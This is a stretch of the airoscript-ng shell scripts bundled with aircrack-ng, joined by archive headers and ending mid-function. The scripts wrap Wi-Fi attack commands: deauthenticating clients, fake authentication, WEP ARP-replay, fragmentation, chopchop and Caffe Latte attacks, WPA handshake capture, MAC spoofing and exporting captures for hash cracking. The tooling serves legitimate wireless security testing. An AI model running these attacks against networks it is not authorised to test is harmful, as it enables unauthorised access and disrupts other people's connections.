/usr/local/etc/airoscript-ng_debug.conf" } opts_wireless(){ { guess_idata "start"; testmac; export iwifi=$wifi ; } &>/dev/null; sleep 1; set_wifi_by_args=1 } options_auto(){ export noscan=1; temporary_switch_clear; export clear=""; check_function autopwn || source $path/autocrack; check_function doexit || source $path/internal/exit; autopwn runner doexit; } load_plugins(){ for i in ${@}; do [[ $i =~ (.*)bash(.*) ]] && export BASH_PLUGIN=1 || { if [[ -e $path/plugins/$i ]]; then _source "${path}/plugins/${i}" fi } done [[ $BASH_PLUGIN ]] || BASH_PLUGIN=0 } initial_warning(){ markwarn $" Airoscript is provided under the gpl. I'm not responsible of the use anyone can give to airoscript. Written for educational purpose in mind. " sleep $warn_time } # Standard functions. markwarn(){ echo -e "${warn}${@}" } _debug(){ if [ "$debug" == 1 ]; then markwarn $1; fi } execute(){ check_function mkmenu || source $path/interface check_function save_pids || source $path/internal/childs title=$1; shift; if [ "$ADDOPTIONS" != "" ]; then printf -- "Executing $@" echo read -p $"Enter extra options to execute: " eopts fi if [ "$1" == "crack" ]; then shift; fi # FIXME This will not do anything. if [ "$QUIET" != "" ] || [ "$AUTO" == "1" ]; then [[ $NOTITLE ]] || warn "${mark}$title" if [[ $wait_for_execute != 1 ]]; then ${@} $eopts &> /dev/null & else ${@} $eopts &> /dev/null fi else args="${@}"; args="${args/% /} ${eopts}" # Failsafe, this way if there's a trailing space it'll remove it before executing. [[ $wait_for_execute != 1 ]] && { $CDCMD $TERMINAL $HOLDA $TITLEFLAG "$title" $termargs "$args" & } || { $CDCMD $TERMINAL $HOLDA $TITLEFLAG "$title" $termargs "$args" } fi [[ $debug == 1 ]] && { echo $TERMINAL $HOLDA $TITLEFLAG "$title" $TOPLEFTBIG $BGC $BACKGROUND_COLOR $FGC $DUMPING_COLOR $EXECFLAG "$args"; read; } save_pids $! } monmode(){ { ifconfig $1 up [[ $($iwconfig $1) =~ (.*)Mode:Monitor(.*) ]] && { MON_PREFIX=$mon_prefix $AIRMON start $1 $2 } } &>/dev/null } # this function allows debugging, called from main menu. function debug { if [ "$debug" == "1" ] || [ "$hold" == "1" ]; then export HOLD=$HOLDFLAG; echo $"Debug Mode enabled, you'll have to manually close windows" else export HOLD="" ;fi } _read(){ # Read function so we can override it later, to add another interface. read "${@}"; } # Various checks. checkdir(){ if [ -d $DUMP_PATH ]; then if [ "$DEBUG" == 1 ]; then echo $"[INFO] Output folder is" " $DUMP_PATH"; fi else echo $"[Error] Output folder does not exists or is a regular file." exit fi } check_function(){ declare -f $1 &>/dev/null return $? } # Standard attacks functions. attack_wpa(){ check_function wpa_attacks || source $path/attacks/wpa wpa_attacks menu } attack_wep(){ check_function wep_attacks || source $path/attacks/wep wep_attacks menu } attack_opn(){ # If no encryption detected $clear && error "Network not encrypted or not network selected"; } capture(){ hardclean execute "Capturing" $AIRODUMP --ignore-negative-one --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $wifi echo } tag(){ echo -ne "\t"; } hardclean(){ rm -rf $DUMP_PATH/$Host_MAC*; } single_question(){ read -p "${@}" ans; } special_single_question(){ single_question "${@}"; } warn(){ echo "${@}"; } specialwarn(){ echo -e -n "${@}"; } yesno(){ read -p "${@} [Y|n]" -n1 -s a; echo [[ $a =~ (.*)[N|n](.*) ]] && return 1 || return 0 } check_default_software(){ for program in ${required_software[@]}; do [[ $(whereis $program) ]] || { echo -en "$program"; warn "not found, quitting." ; exit ; } done } _source $path/internal/startup aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/attacks/0000755000000000000000000000000012660222377023431 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/attacks/auth0000644000000000000000000000600612021445441024305 0ustar rootroot# Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. authmenu(){ while true; do mkmenu $"Autentication menu" $"Fake autentication" $"Deautentication" $"Return to main menu" case $choice in 1 ) choose_fake ; $clear; break;; 2 ) choose_deauth ; $clear; break;; 3 ) $clear ; break;; * ) echo $"Unknown response, try again"; sleep 1; $clear;; esac done } choose_deauth(){ [[ $1 ]] && { auth_attacks_deauth $1; return ; } [[ $AUTO == 2 ]] && { auth_attacks_deauth 1;return; } [[ $AUTO == 1 ]] && { auth_attacks_deauth 1;return; } while true; do mkmenu $"Who do you want to deauth?" $"Everybody" $"Myself (fake mac)" $"Selected client" auth_attacks_deauth $choice || error $"Unknown response. Try again" ; done } auth_attacks_deauth(){ attack=$1; case $attack in 1) execute $"Deauth All" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC $wifi;; 2) execute $"Deauth client" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC -c $Client_MAC $iwifi;; 3) execute $"Deautenticating" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC -c $FAKE_MAC $iwifi;; esac } choose_fake(){ required "$Host_SSID" "You have to select a target first" || return; [[ "$INTERACTIVE" != "1" ]] && { auth_attacks_fake 1; auth_attacks_fake 2; auth_attacks_fake 3; return; } while true; do mkmenu $"Fake Auth Method" $"Conservative" $"Standard" $"Progressive" $"Xor Injection" check_function "${auth_attacks_fake_$choice}" && { auth_attacks_fake $choice; break; } error $"Unknown response. Try again" ; done } auth_attacks_fake(){ export time_=2; case $choice in 1 ) execute "Fake auth (1) " $AIREPLAY --fakeauth 6000 -o 1 -q 10\ -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi;; 2 ) execute "Fake auth (2) " $AIREPLAY --fakeauth 0\ -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi ;; 3 ) execute "Fake auth (3) " $AIREPLAY --fakeauth 5 -o 10 -q 1\ -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi ;; 4 ) execute "Fake auth (4) " $AIREPLAY -1 0 -e "$HOST_SSID"\ -y $DUMP_PATH/*.xor -a $Host_MAC -h $FAKE_MAC $iwifi ;; * ) return 1; esac } fakeauth(){ execute "Fake auth on $Host_SSID" $AIREPLAY --fakeauth $AUTHDELAY -q $KEEPALIVE -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/attacks/wpa0000644000000000000000000000644212313431364024142 0ustar rootroot# Wpa attack functions for airoscript # Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # Warning! at least generic, internal and interface must be loaded before this one! check_function auth_attacks_fake || source $path/attacks/auth # It depends on auth module ;) check_function wep_attacks || source $path/attacks/wep wpa_attacks(){ hardclean && $clear attack=$1; shift; wpa_attacks_$attack $@ notification=$attack_notification } wpa_attacks_menu(){ help_fifo $"${mark}${red}WPA attacks${end}\n"\ "You're seeing this menu because the network you selected has WPA encryption\n"\ "${red}Standard deauth attack${end}\n"\ "Deauths a client, then waits for the client to reconnect and tries to capture the 4-way handshake\n"\ "${red}QOS attack${end}\n"\ "Launches tkiptun-ng to try to crack some vulnerable accesspoints to the wmm stuff\n"\ "${red}WPA Migration Mode attack${end}\n"\ "This attack targets on Cisco Aironet routers, wich set both WPA and WEP encriptions on the same sssid\nIt listens for a wep-encapsulated arp packet and retransmits it (bitflipped to make it into an ARP coming from the attacker's MAC)" while true; do $clear; mkmenu $"Select WPA Attack" $"Standard attack" $"Standard attack with QoS (WMM)" $"WPA migration mode" $"Return to main menu" case $choice in 1) wpa_attacks handshake; $clear; break;; 2) wpa_attacks qos; $clear; break;; 3) wpa_attacks wpamm; $clear; break;; 4) $clear; break;; esac done } wpa_attacks_wpamm(){ { Host_ENC="WEP"; wep_attacks fakeauto & { AUTO=2; choice=3; othersinjectmenu; AUTO=0; $clear; }; $clear; } && Host_ENC="WPA"; $clear; echo; $clear; } wpa_attacks_handshake(){ [[ $dynamic_client_selection ]] && { auto_scan_clients; select_client; } [[ $Client_MAC != "" ]] && { directed=1; } export time_=0; execute $"Capturing data on channel: $Host_CHAN" $AIRODUMP --ignore-negative-one -w $DUMP_PATH/$Host_MAC --bssid $Host_MAC --channel $Host_CHAN -a $wifi export time_=1 [[ $directed == 1 ]] && choose_deauth 2 [[ $directed != 1 ]] && choose_deauth 3 } wpa_attacks_qos(){ iwconfig $wificard channel $Host_CHAN # Hope this is ok for all cards export time_=0; execute $"Executing tkiptun-ng for ap $Host_MAC" $TKIPTUN -h $FAKE_MAC -a $Host_MAC -m $TKIPTUN_MIN_PL -n $TKIPTUN_MAX_PL $wifi } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/attacks/wep0000644000000000000000000001222612021445441024140 0ustar rootroot# Wep attack functions for airoscript # Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # Warning! at least generic, internal and interface must be loaded before this one! check_function auth_attacks_fake || source $path/attacks/auth # It depends on auth module ;) check_function injectmenu || source $path/attacks/injection # It depends on injection module ;) check_client(){ [[ $dynamic_client_selection ]] && { auto_scan_clients; select_client; } [[ $Client_MAC != "" ]] && { ifconfig $wificard hw ether $Client_MAC directed=1; return 0; } || { directed=0; ifconfig $wificard hw ether $FAKE_MAC } } wep_attacks_menu(){ help_fifo $"${mark}${red}Wep attacks${end}\n"\ "You're seeing this menu because the network you selected has WEP encryption\n"\ "Here follows some information about each attack\n"\ "${red}ARP Replay${end}\n" \ "Standard arp replay, tries to capture an arp and send it back to the router to generate traffic. If not client selected, it'll launch a fake auth attack to simulate one \n"\ "${red}Fragmentation ${end}\n"\ "Initiates a fragmentation attack to obtain 1500 bytes of PRGA. Then it generates a packet and injects it back to the router.\n"\ "${red}ChopChop ${end}\n"\ "Tries to decode a single wep packet via chopchop attack, then it starts an injection attack with that packet.\n"\ "${red}Caffe Latte${end}\n"\ "An attack not requering router to be in range, client-directed (useful if you're not close to the ap, but to a client)" while true; do $clear mkmenu $"Attacks using a client"\ $"ARP replay"\ $"Fragmentation attack"\ $"Chopchop attack"\ $"Caffe latte"\ $"Return to main menu" case $choice in 1) check_client ; wep_attacks arpreplay_interactive; break ;; 2) check_client ; wep_attacks fragmentation -7; break ;; 3) check_client ; wep_attacks chopchop; break ;; 4) check_client ; wep_attacks caffelate; break ;; 5) $clear; break ;; *) error $"Unknown response, try again";; esac done } wep_attacks(){ $clear attack=$1; shift; hardclean replay_dec-*.xor [[ $attack != menu ]] && { export time_=0; capture } export time_=1 wep_attacks_$attack $@ notification=$attack_notification $clear; } interactive_wep(){ if [ "$INTERACTIVE" == 1 ]; then read -p $"Enter destination mac: (FF:FF:FF:FF:FF:FF)" INJMAC if [ "$INJMAC" = "" ]; then INJMAC=$INJMAC_; fi read -p $"Set framecontrol word (hex): (0841) " FT if [ "$FT" = "" ]; then FT=$FT_; fi else INJMAC=$INJMAC_; FT=$FT_; fi } wep_attacks_caffelate(){ time_=1 export wait_for_execute=0; execute $"Cafe Latte Attack on: $Host_SSID "\ $AIREPLAY -6 -b $Host_MAC -h $FAKE_MAC -x \ $INJECTRATE -D $iwifi & auth_attacks_fake } wep_attacks_arpreplay_interactive(){ FT_="0841"; INJMAC_="FF:FF:FF:FF:FF:FF"; interactive_wep; if [[ $directed == 1 ]]; then time_=1; execute $"Interactive Packet Sel on: $Host_SSID" $AIREPLAY $iwifi --interactive -p $FT -c $INJMAC -b $Host_MAC -h $Client_MAC -x $INJECTRATE else time_=1; execute $"Interactive Packet Sel on: $Host_SSID" $AIREPLAY $iwifi --interactive -p $FT -c $INJMAC -b $Host_MAC -h $FAKE_MAC -x $INJECTRATE auth_attacks_fake 1 fi } wep_attacks_fragmentation(){ if [[ $directed != 1 ]]; then time_=1; auth_attacks_fake tail_launched=1 export wait_for_execute=1; execute $"Fragmentation w/o client" $AIREPLAY -5 -b $Host_MAC -h\ $FAKE_MAC -k $FRAG_CLIENT_IP -l $FRAG_HOST_IP $iwifi wait_for_execute=0; else time_=1; tail_launched=1 wait_for_execute=1; execute $"Fragmentation attack" $AIREPLAY -7 -b $Host_MAC -h $Client_MAC\ -k $FRAG_CLIENT_IP -l $FRAG_HOST_IP $iwifi wait_for_execute=0; fi AUTO=1 injectmenu frag } wep_attacks_chopchop(){ $clear hardclean replay_dec-*.xor [[ $directed != 1 ]] && { auth_attacks_fake tail_launched=1 export wait_for_execute=1; execute $"Chopchoping at $Host_SSID"\ $AIREPLAY --chopchop -b $Host_MAC -h $FAKE_MAC $iwifi export wait_for_execute=0; } || { export wait_for_execute=1; tail_launched=1 execute $"Directed ChopChoping to $Client_MAC at $Host_SSID"\ $AIREPLAY --chopchop -b $Host_MAC -h $Client_MAC $iwifi export wait_for_execute=0; } AUTO=1 injectmenu chopchop } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/attacks/others0000644000000000000000000002715112271675067024674 0ustar rootroot# Other tools (mostly external) functions file for airoscript. # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. check_function fakeauth3 || source $path/attacks/auth # It depends on auth module ;) check_function injectmenu || source $path/attacks/injection # It depends on injection module ;) othertmenu(){ while true; do mkmenu $"Other aircrack-ng tools" $"Scanning" $"Injection" $"Autentication" $"Package manipulation" $"Create virtual interface with airtun-ng" $"Diagnostics and reports" $"Auto crack wep with wesside-ng" "Easside-ng" $"Return to main menu" case $choice in 1 ) AUTO=0 menu_type; $clear; break;; 2 ) othersinjectmenu ; $clear; break;; 3 ) authmenu ; $clear; break;; 4 ) package_menu ; $clear; break;; 5 ) airtunmenu ; $clear; break;; 6 ) diagmenu ; $clear; break;; 7 ) choosewesside ; $clear; break;; 8 ) eassideng ; $clear; break;; 9 ) $clear ; break ;; * ) echo $"Unknown response, try again"; sleep 1; $clear;; esac done } generate_hcap(){ wait_for_execute=1; execute $AIRCRACK $DUMP_PATH/$Host_MAC-01.cap -J $DUMP_PATH/$Host_MAC-01.hccap; wait_for_execute=0; read -p $"Your hccap file is in $DUMP_PATH/$Host_MAC-01.hccap . Press enter to continue" export HCCAPFILE=$DUMP_PATH/$Host_MAC-01.hccap } airdecmenu(){ while true; do if [ "$d_cloaked_null" == 1 ]; then d_cloaked_null_status="X"; else d_cloaked_null_status=" "; fi if [ "$d_cloaked_base" == 1 ]; then d_cloaked_base_status="X"; else d_cloaked_base_status=" "; fi if [ "$d_cloaked_frag" == 1 ]; then d_cloaked_frag_status="X"; else d_cloaked_frag_status=" "; fi mkmenu "Airdecloak-ng" "Asume that null packets can be cloacked [$d_cloaked_null_status]" "Disable base filter [$d_cloaked_base_status]" "Drop fragmented packets [$d_cloaked_frag_status]" "Specify filters (comma separated)" "Launch decloak" "Return to main menu" opts=""; case $choice in 1) if [ "$d_cloaked_null" == 1 ]; then d_cloaked_null=0; else d_cloaked_null=1; fi; $clear;; 2) if [ "$d_cloaked_base" == 1 ]; then d_cloaked_base=0; else d_cloaked_base=1; fi; $clear;; 3) if [ "$d_cloaked_frag" == 1 ]; then d_cloaked_frag=0; else d_cloaked_frag=1; fi; $clear;; 4) single_question "Enter filters: "; d_cloaked_filters=$ans; $clear;; 5) if [ "$d_cloaked_null" == 1 ]; then opts="$opts --null-packets"; fi if [ "$d_cloaked_base" == 1 ]; then opts="$opts --diable-base-filter"; fi if [ "$d_cloaked_frag" == 1 ]; then opts="$opts --drop-frag"; fi execute $AIRDECLOAK $opts --ssid $Host_SSID --bssid $Host_MAC --filters $d_cloaked_filters -i $DUMP_PATH/$Host_MAC-01.cap $clear; break;; 6) $clear; break;; esac done } airtunmenu(){ if [ "$Host_MAC" != "" ] && [ "$Host_SSID" != "" ] && [ -e $DUMP_PATH/$Host_MAC.key ]; then execute $AIRTUN -a $Host_MAC -i $wificard -w "`cat $DUMP_PATH/$Host_MAC.key`" else if [ "$Host_MAC" != "" ] && [ "$Host_SSID" != "" ] && [[ $Host_ENC =~ (.*)"OPN"(.*) ]]; then execute $AIRTUN -a $Host_MAC -i $wificard else warn "Error: Network not selected" fi fi } cleanairtun() { killall airtun-ng } package_menu(){ while true; do [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { mkmenu $"Package manipulation tools" $"Merge all ivs from all sessions" $"Decrypt current packages" $"Decloack packages"\ $"Generate hccap file for oclhashcat" $"Return to main menu" case $choice in 1) mergeallivs;$clear; break;; 2) decrypt; $clear; break;; 3) airdecmenu; $clear; break;; 4) generate_hcap ; $clear; break;; 5) $clear;break ;; * ) echo $"Unknown response. Try again" ;; esac } || { mkmenu $"Package manipulation tools" $"Merge all ivs from all sessions" $"Decrypt current packages" $"Decloack packages"\ $"Return to main menu" case $choice in 1) mergeallivs;$clear; break;; 2) decrypt; $clear; break;; 3) airdecmenu; $clear; break;; 4) $clear;break ;; * ) echo $"Unknown response. Try again" ;; esac } done } mergeallivs(){ # TODO Untested newdir=`mktemp -d` for i in $TMPDIR/*/*.cap; do b=$(( $b + 1 )); $IVSTOOLS --convert $i $newdir/$b; done ivstools --merge $newdir/* $DUMP_PATH/merged.cap read -p $"Select merged data as target? (y/N): " ACP && [[ "$ACP" = $"y" ]] && Host_MAC="merged" } choosewesside(){ while true; do $clear; mkmenu $"Choose Wesside-ng Options" $"No args" $"Selected target" $"Sel. target max retrans" $"Sel. target poor conection" $"Select another target" $"Return to main menu" case $choice in 1 ) wesside ; break ;; 2 ) wessidetarget ; break ;; 3 ) wessidetargetmaxer ; break ;; 4 ) wessidetargetpoor ; break ;; 5 ) wessidenewtarget ; break ;; 6 ) break ;; * ) echo -e $"Unknown response. Try again" ;; esac done } wesside(){ rm -rf prga.log wep.cap key.log execute "Wesside-ng" $WESSIDE -i $wifi & choosewesside } wessidetarget(){ rm -rf prga.log wep.cap key.log execute "Wesside-ng" $WESSIDE -v $Host_MAC -i $wifi & { [[ $1 ]] || choosewesside; } } wessidetargetmaxer(){ rm -rf prga.log wep.cap key.log execute "Wesside-ng" $WESSIDE -v $Host_MAC -k 1 -i $wifi & { [[ $1 ]] || choosewesside; } } wessidetargetpoor(){ rm -rf prga.log wep.cap key.log execute "Wesside-ng" $WESSIDE -v $Host_MAC -k 3 -i $wifi & { [[ $1 ]] || choosewesside; } } wessidenewtarget(){ rm -rf prga.log wep.cap key.log selectAp execute "Wesside" $WESSIDE -v $Host_MAC -i $wifi & { [[ $1 ]] || choosewesside; } } diagmenu(){ check_function kstatsmenu || source $path/reporting while true; do mkmenu $"Diagnostic tools and reports" $"Show kstats report" $"Test injection" $"Checks with airmon-ng" $"Create graphs" $"Update airoscript report" $"Return to main menu" case $choice in 1 ) kstatsmenu ; $clear; break;; 2 ) inject_test ; $clear; break;; 3 ) airmoncheck ; $clear; break;; 4 ) _airgraph ; $clear; break;; 5 ) report_mode ; $clear; break;; 6 ) make_report ; $clear; break;; 7 ) $clear; break;; * ) $"Unknown response, try again"; sleep 1; $clear;; esac done } inject_test(){ execute "Test injection" $AIREPLAY $iwifi --test } airmoncheck(){ if [ "$TYPE" = "Atherosmadwifi-ng" ]; then $AIRMON check wifi0 else $AIRMON check $wificard; fi } decrypt(){ $AIRDECAP $DUMP_PATH/$Host_MAC.cap -w "`cat $DUMP_PATH/$Host_MAC.key`" warn "Decrypted packages to $DUMP_PATH/$Host_MAC.cap-dec.cap" } menu_options(){ while [ "1" ] ; do mkmenu $"Airoscript options" $"Select another interface" $"Reset selected interface"\ $"Change MAC of interface" $"Enable monitor mode" $"Change DUMP_PATH"\ $"Try to configure network" $"Return to main menu" case $choice in 1 ) setinterface 1 ; $clear; break ;; 2 ) cleanup; $clear; break ;; 3 ) wichchangemac ; $clear; break ;; 4 ) monmode;$clear ; break ;; 5 ) changedumppath;$clear; break;; 6 ) configure;$clear; break;; 7 ) $clear;break ;; * ) $"Unknown response. Try again" ;; esac done } cleanup(){ while [ "1" ]; do mkmenu $"Interface cleanup" $"Normal cleanup" $"Reset driver" $"Vmware fix for bt4" $"Return to main menu" case $choice in 1 ) { killall -9 aireplay-ng airodump-ng &> /dev/null & $AIRMON stop $wificard; ifconfig $wificard down; $clear; sleep 2; $CARDCTL eject; sleep 2; $CARDCTL insert; ifconfig $wificard up; $AIRMON start $wificard $Host_CHAN; $iwconfig $wificard; } &>/dev/null ; break ;; 2 ) { rmmod $DRIVER; modprobe $DRIVER; } &>/dev/null; break ;; 3 ) { ifconfig $wificard down; rmmod $DRIVER; rfkill blockall; rfkill unblock all; modprobe $DRIVER; rfkill unblock all; ifconfig $wificard up; } &>/dev/null; break ;; 4 ) $clear; break ;; * ) $clear;; esac done } changedumppath(){ OLD_DUMP_PATH=$DUMP_PATH read -p $"Enter new path: " DUMP_PATH read -p $"Copy data into new folder? (y/N): " ACP && [[ "$ACP" = $"y" ]] && cp -r $OLD_DUMP_PATH/* $DUMP_PATH/ read -p $"Erase old folder? (y/N): " EPF && [[ "$EPF" = $"y" ]] && rm -r $OLD_DUMP_PATH mkdir -p $DUMP_PATH # If exists, it won't be created again, so we don't lose anything fot this :-) $olear } eassideng(){ while true; do $clear mkmenu "Easside-ng" $"Create virtual interface" "Run buddy server" "Return to main menu" case $choice in 1 ) while true; do $clear read -p $"Select buddy IP" buddyip; $clear mkmenu $"Choose ap mac " $"Choose source mac" $"Chosse Source IP" $"Choose router ip" $"Execute" $"Return"; read -p $"Anser: " answer; echo case $choice in 1 ) opts=" $opts -v $answer " ;break ;; 2 ) opts=" $opts -m $answer " ;break ;; 3 ) opts=" $opts -i $answer " ;break ;; 4 ) opts=" $opts -r $answer " ;break ;; 5 ) execute "Easside-ng" $EASSIDE -s $buddyip -f $wifi $opts ;break ;; 6 ) $clear; break ;; esac done ;; 2 ) execute $BUDDY ;; 3 ) $clear ; break ;; * ) $clear; echo $"Unknow response, try again"; sleep 2 ;; esac done } airbaseng(){ # FUCK This tool is quite awesome, too much for a single function... :/ Might be an entire class, but... this is bash. # Functional and so on, let's make a hack! check_function airbaseng_main || source $path/attacks/airbaseng opt=$1; shift; airbase_$opt $@; } setupairservng(){ single_question $"Do you want to use airserv-ng? [y/N] " if [ "$ans" == $"y" ]; then export wificard=$wifi && single_question $"Start a local server? [y/N] " if [ "$ans" == $"y" ]; then export wifi="127.0.0.1:666" && $AIRSERV -d $wificard >/dev/null 2>1 & else read -p $"Enter airserv-ng address [127.0.0.1:666]" wifi=$ans if [ "$wifi" == "" ]; then export wifi="127.0.0.1:666";fi fi fi } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/attacks/injection0000644000000000000000000000655312001425423025331 0ustar rootroot# Autocrack functions file for airoscript. # Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # This is for iNJECTION (8) option othersinjectmenu(){ while true; do mkmenu "Injection type" "Frag Injection" "ChopChop injection" "WPA Migration Mode"; case $choice in 1) injectmenu frag; break;; 2) injectmenu chopchop; break;; 3) execute "$AIREPLAY -8 -b $Host_MAC -h $FAKE_MAC $iwifi"; break;; *) $clear; esac done } injectmenu(){ while true; do ls -lah $DUMP_PATH/*.xor &>/dev/null [[ $? != 0 ]] && { warn "${mark}Can't open fragmentation xor files. Returning"; echo; return; } if [ "$1" == "frag" ]; then if [ "$AUTO" == 1 ]; then if [ "$Client_MAC" != "" ]; then fragend $Client_MAC; return; fi if [ "$FAKE_MAC" != "" ]; then fragend $FAKE_MAC; return; fi return fi mkmenu "Frag Injection" "Frag with client injection" "Return to main menu" case $choice in 1 ) fragend $Client_MAC ; break ;; 2 ) fragend $FAKE_MAC; break ;; * ) $clear; break;; esac fi if [ "$1" == "chopchop" ]; then if [ "$AUTO" == 1 ]; then if [ "$Client_MAC" != "" ]; then chopchopend $Client_MAC; return; fi if [ "$FAKE_MAC" != "" ]; then chopchopend $FAKE_MAC; return; fi return fi mkmenu "Chopchop injection" "Chopchop with client inj." "Return to main menu" case $choice in 1 ) chopchopend $FAKE_MAC ; break ;; 2 ) chopchopend $CLIENT_MAC ; break ;; * ) $clear; break;; esac fi done } fragend(){ if [ "$Host_MAC" = "" ]; then $clear && warn "${mark}ERROR: You must select a target first" else $ARPFORGE -0 -a $Host_MAC -h $1 -k $Client_IP -l $Host_IP -y $DUMP_PATH/fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap execute "Fragmentation without client" $AIREPLAY -2 -r $DUMP_PATH/frag_$Host_MAC.cap -h $1 -x $INJECTRATE $iwifi fi } chopchopend(){ if [ "$Host_MAC" = "" ]; then $clear && warn "${mark}ERROR: You must select a target first" else rm -rf $DUMP_PATH/chopchop_$Host_MAC* $ARPFORGE -0 -a $Host_MAC -h $1 -k $Client_IP -l $Host_IP -y $DUMP_PATH/replay*.xor -w $DUMP_PATH/chopchop_$Host_MAC.cap AUTO=0; QUIET=""; execute "ChopChop End" $AIREPLAY --interactive -r $DUMP_PATH/chopchop_$Host_MAC.cap -h $1 -x $INJECTRATE $iwifi fi } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/completions/0000755000000000000000000000000012660222377024333 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/completions/_airodump_ng0000644000000000000000000000101712121242616026706 0ustar rootroot_airodump-ng() { local current previous commands help_options previous=${COMP_WORDS[COMP_CWORD-1]} current="${COMP_WORDS[COMP_CWORD]}" commands="--help --ivs --gpsd --write --beacons --showack --update --berlin --channel --band --cswitch --output-format --ignore-negative-one --encrypt --bssid --netmask" help_options="setup new search show reply tag dump restore search-terms" COMPREPLY=( $(compgen -W "${commands}" -- ${current}) ) ; } complete -o default -o bashdefault -F _airodump-ng airodump-ng aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/bashrc0000644000000000000000000000000012121241230023127 0ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/reporting0000644000000000000000000001020012271675067023732 0ustar rootroot# Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. report_file=$DUMP_PATH/$Host_MAC.report report_proto_stats(){ check_function tcpdstat_ || source $path/plugins/tcpdstat echo "${warn}Loading tcpdstat plugin" _tcpdstat } _get_report_data(){ kstatsmenu auto; _airgraph; report_proto_stats; } _make_report(){ # Virtual function so I can easily override make_report while preserving this one. cp $path/templates/start.html ${report_file}.html; echo "

Report for $Host_SSID : $Host_MAC

" >> ${report_file}.html echo "
" >> ${report_file}.html report_html &>> ${report_file}.html echo "
" >> ${report_file}.html
    cat $DUMP_PATH/$Host_MAC.report_proto_stats $DUMP_PATH/$Host_MAC.kstats >> ${report_file}.html
    echo "
" >> ${report_file}.html echo "
" >> ${report_file}.html get_html_warnings >> ${report_file}.html echo "
" >> ${report_file}.html cat $path/templates/end >> ${report_file}.html } make_report(){ [[ -e $DUMP_PATH/$Host_MAC.key ]] && { _get_report_data; _make_report &>/dev/null; }; } get_html_warnings(){ get_warnings; while read warning; do echo "

${warning}

"; done < ${report_file}.warns; } get_warnings(){ [[ -e $DUMP_PATH/$Host_MAC.key ]] || return key=`cat $DUMP_PATH/$Host_MAC.key` [[ "$Host_ENC" =~ (.*)"WEP"(.*) ]] && echo "WEP encription is unsecure and should not be used" >> ${report_file}.warns (( ${#key} < 104 )) && echo "Key lenght is less than 104 bytes" >> ${report_file}.warns } report_html(){ [[ -e $DUMP_PATH/$Host_MAC.key ]] || return key=`cat $DUMP_PATH/$Host_MAC.key` echo "

